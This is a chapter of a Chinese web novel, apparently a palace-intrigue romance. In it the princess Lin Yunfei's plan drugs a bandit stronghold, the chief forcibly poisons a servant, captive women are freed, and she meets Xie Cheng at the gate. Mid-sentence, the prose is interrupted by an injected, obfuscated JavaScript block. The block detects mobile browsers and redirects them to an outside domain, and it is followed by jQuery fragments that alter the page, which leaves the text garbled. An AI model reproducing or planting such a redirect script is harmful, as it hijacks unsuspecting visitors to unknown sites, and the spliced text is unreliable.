86. 近他情怯

    宋载刀与燕往哪里敢接他的话茬。


    燕往很轻地眨了下眼,心中清楚段筹早已勘破今日之局。


    但那又如何?有些腌臜事只要没被完全挑明,段筹便无法怪罪他们。


    这就是他为何将下毒这个最直截的差事交由阿菊。


    段筹若想深究此事,先得拷问阿菊。


    燕往不惧打赌,他赌段筹终究舍不得对阿菊往死里下手。


    哪怕赌错,正好说明段筹之心冷到令人发指,男人对于他有恩之人尚且以怨相报,燕往不会天真地奢求来日对方会一直善待自己。


    成王败寇,无非早晚。燕往苟活至今日,早就视生死为鸿毛。


    一念至此,他眉心的朱砂痣在烛光下如鲜血一般。


    阒静之中,段筹将眼风扫向老甲:“老甲,过来。你将这酒饮下,替我向两位当家证明,我府上可没有毒杀兄弟的待人之道。”


    老甲又哪里敢喝,这毒酒正是经他之手倒出来的。


    眼见得段筹向自己走来,他直直地跪下去:“大当家,老奴被猪油蒙了心,方才做出这般蠢事呐。”


    段筹恍若未闻,蹲踞下来时墨色的衣袍垂在身后,从林蕴霏的角度看去,像是毒蛇的响尾。


    男人伸手固定住老甲的脸,将酒强硬地灌入他口中。


    求生之人的力气不容小觑,老甲死死地斜视着旁观的宋载刀与燕往。


    他紧闭的牙齿终不敌坚硬的酒樽,在被撬开的同时,段筹更卸了他的下巴。


    “救我,二当家……”涎水与酒混着血一起往外流,老甲含糊的叫喊被段筹封死。


    不消片刻,老甲翻着白眼,口含白沫,倾倒不起。


    段筹于是松开对男人的钳制,丢破布一般将这位跟了自己三年多的心腹甩开。


    他拿起桌上因老甲而脏的锦帕,轻飘飘地盖在老甲的脸上。


    正当他要站起身时,段筹忽而觉得眼前眩晕。


    但他不愿让在场的旁人瞧出自己的失态,强撑着站直,去看宋载刀与燕往的反应。


    然而他没有想到的是,片刻的工夫内,那种头重脚轻的感觉愈发严重。


    段筹尝试摇晃脑袋,上下眼皮子却不听他的使唤渐次合拢,视线进而模糊,失去意识。


    药效发作了!林蕴霏目睹他身形倾倒,忙环顾起屋内众人。


    还没来得及为段筹的昏倒感到惊讶的燕往与宋载刀亦紧接着察觉到古怪。


    林蕴霏望着他们先后昏过去,就近抓住一位壮汉的胳膊摇晃:“醒醒,醒醒。”


    对方半阖着眼,面容安详,没有一点动静。


    修蜻见状起身,切换回原本的声线:“殿下,我们该收网了。”


    “先出门确认一下山寨内的情况,”林蕴霏从段筹的身上迈过去,神思清晰,“再去后院接应潜睿。”


    此刻的山寨内安静得有些异常,两人一路走至后院,发现随处都能见到倒地的人。


    照着地图来到那群女子被关押的地方,门外两位看守的大汉一左一右地躺着。


    其中一位的额角上有着干涸的血迹。


    就在他的脸边,有着一根沾血的棒槌。


    “潜睿?”林蕴霏踏进点了烛火的房间,与一位意想不到会出现在此的人先对上眼。


    阿菊也没有想到事情背后的主使会是林蕴霏,一双小鹿似的眸子里满是惊异。


    目光未过多停留,林蕴霏仔细地查看起屋内的状况。


    这是间堆积杂物的柴房,远比林蕴霏想的还要逼冗脏乱,十几位女子几乎占满了全部的空间。


    唯一的烛火令漫屋的灰尘现出原形,林蕴霏仅是一瞥,便看见梁上结成着的巨大而密密匝匝的蛛网。


    不难想到这群女子被关押的这些时日里心中会有多么煎熬。


    眼下她们相互解开捆着手脚的麻绳,憔悴的脸上仍旧带着不可知置信的神情。


    潜睿迎上来,笃定地说:“计划成功了。”


    “嗯,段筹他们都已不省人事,”林蕴霏眼神往阿菊所在的方向一递,问,“她怎么会在这儿?”


    潜睿循着她的目光看去,答说:“我赶来这里的时候,恰巧看见她拿棒子将外头看守的人砸晕……她应该是来将她们放出去的。”


    想起适才筵席上老甲的话,段筹酒壶里的毒也是她下的,林蕴霏不由得对阿菊刮目相看。


    这个看似柔弱可欺、全无主见的女孩实际上坚韧非凡,善良内秀。


    此情此景绝不是感慨人不可貌相的好时候,林蕴霏掐断了思量。


    见她们皆能自由行走,林蕴霏长话短说:“诸位,请听我一言,寨子里的人大多都昏过去了,外面现在还算安全。”


    “此地不宜久留,快随我出去吧。”


    众人纷纷道好,她们做梦都想离开这个暗无天日的鬼地方。


    此时有了能够逃离的机会,她们恨不能即刻随风到山下。


    由潜睿与林蕴霏打头,修蜻殿后。一行人不多耽搁,提步向山寨门走去。


    林蕴霏特地回首看了眼,阿菊亦悄然跟上队伍。


    一面疾行,林蕴霏一面对身旁的潜睿说:“段筹与三皇子有所勾结,这几日你可有寻到证据?”


    夜色昏暗,潜睿看不太清她的神情,但他从她平静的声音中听出几分山雨欲来的意味。


    “殿下……”潜睿倒是有心想为自家主子辩说两句,奈何琢磨不出适宜的说辞,只得坦诚道,“我在燕往的住处拿到了段筹与三皇子来往的书信。”


    “光有物证可不够吧,他打算如何处置那三人?”林蕴霏又问。


    被主子间的恩怨波及,潜睿自觉汗流浃背,穷于应付:“您还是直接去问国师吧。”


    清楚从他这儿再套不出话,林蕴霏抿起唇。


    眼见得离寨门愈近,她心头涌起一阵难以与外人道的怯意。


    她有些不知该怎么面对谢呈。


    重新拾起对谢呈的那些疑问,林蕴霏的思绪又开始打结。


    可在看见几步之外对方如雪的袍角时,她不自由自主地加快了步子。


    谢呈背手立于寨门的正下方,灼热的夏夜无风,他的眸底却因她掀起微澜。


    林蕴霏在距他约莫一丈的位置顿足,与他四目相对。


    几日不见,如隔三秋。


    她用目光描摹着他的面容,心道,谢呈好像清减不少。


    他们的计划成功,他如约来接她,本该是极为高兴的时刻。


    林蕴霏捏紧了垂在袖中的手,克制住自己想去抱他的冲动。


    见她迟迟没有动作,谢呈心神一动,纤长的睫梢跟着轻颤,侧身对跟来的州兵说:“诸位赶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629258|137871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    紧进去搬运粮食吧。”


    潜睿闻言趋上前来,先对谢呈行了个礼。


    大庭广众之下,他不好对谢呈明说林蕴霏的情况,转而看向整装待发的州兵,说:“我熟悉路,诸位请随我来。”


    借着正事远离主子间的爱恨情仇,再没有比他更加机灵的人了。


    潜睿背对着人拍了拍胸脯,心中不忘为谢呈祈祷好运。


    州兵于是分为两队,人数多的那支跟潜睿进山寨,人数少的则留守外面,负责看护已经逃出来的林蕴霏等人。


    “去边上说话吧。”林蕴霏率先打破两人间微妙的沉默。


    谢呈颔首,跟着她走到马车后。


    马车将他们与旁人分隔成两个世界,阴翳笼罩着二人的眉眼,如覆面具,任谁也想不到数日前林蕴霏与谢呈曾在却步山山麓缠绵悱恻、不舍别离。


    其实不用潜睿提醒,谢呈便已看出林蕴霏态度的异常,他只是不知晓她究竟猜到了哪一层。


    “殿下,”他含着口无法直抒的气,轻声唤她,“这几日你可还安好?”


    在见到她的第一眼,谢呈便一丝不苟地将林蕴霏周身都看遍,清楚她无恙,但他还是想听见她的亲口回答。


    心上仿佛被针扎了下,林蕴霏感知到那儿出现一个极小的豁口。


    谢呈实在太明白怎么用温柔苦情的伎俩对付她,叫她险些就要绷不住冷漠的姿态。


    好巧不巧有一阵山风吹过,山林间的万叶哗然作响,直将林蕴霏额前的碎发拂乱。


    发丝扎进眼角,又痒又痛。林蕴霏的眼眶登时红了,脑子亦恢复清明。


    隔着水汽,谢呈的神情变得迷蒙,仿佛与她相隔甚远。


    毫无来由地,林蕴霏又想到前世的谢呈,想到他们之间一手便能数清的交集。


    那日文惠帝的金棺将入皇陵,新帝林彦下旨解了先帝罚林蕴霏的禁闭。


    林蕴霏身着缟素,未施粉黛,站在林彦身后,神情麻木地听着众人貌似情真意切的哀号哭泣。


    这样的哭丧已然持续了整整三日朝夕,她不用看也知晓,许多人面上怕是无有眼泪。


    皇城内所有寺庙每隔一个时辰便要敲十下钟,悠长的钟鸣此起彼伏,仿佛就在耳畔。


    林蕴霏有三天两夜没能阖眼歇息,除了水什么都吃不下。


    此刻听见这些纷杂的声响,整个人备受折磨,将近到了筋疲力尽的地步。


    在这种情况下,她自是难以维持面上的神色,恹恹且透着一股不耐烦。


    在一旁主持举哀仪式的礼官转头瞧见林蕴霏既没落泪,也没张嘴,不由得摇了摇头。


    又过了片刻,钦天监定下的时辰已至,礼官高声颁布遗诏。


    丹福门下的臣民,丹福门上的皇子公主皆下跪听诏。


    遗诏内记载着先帝的生平,无非是一番对逝者的歌功颂德,末了再次提及对新帝林彦的册封。


    篇幅冗长,华而不实,令礼官诵念得口干舌燥。


    待到礼官说罢“钦此”,丹福门缓缓大开,井然有序的军队护送文惠帝的棺椁步出宫门。


    街道旁的百姓跪迎声势浩荡的仪仗向郊外的皇陵行进,丹福门上众人得以起身目送。


    连续跪了几日的双膝传来阵阵刺痛,林蕴霏撑着大腿起来时,眼前骤然一黑,短暂地失去知觉。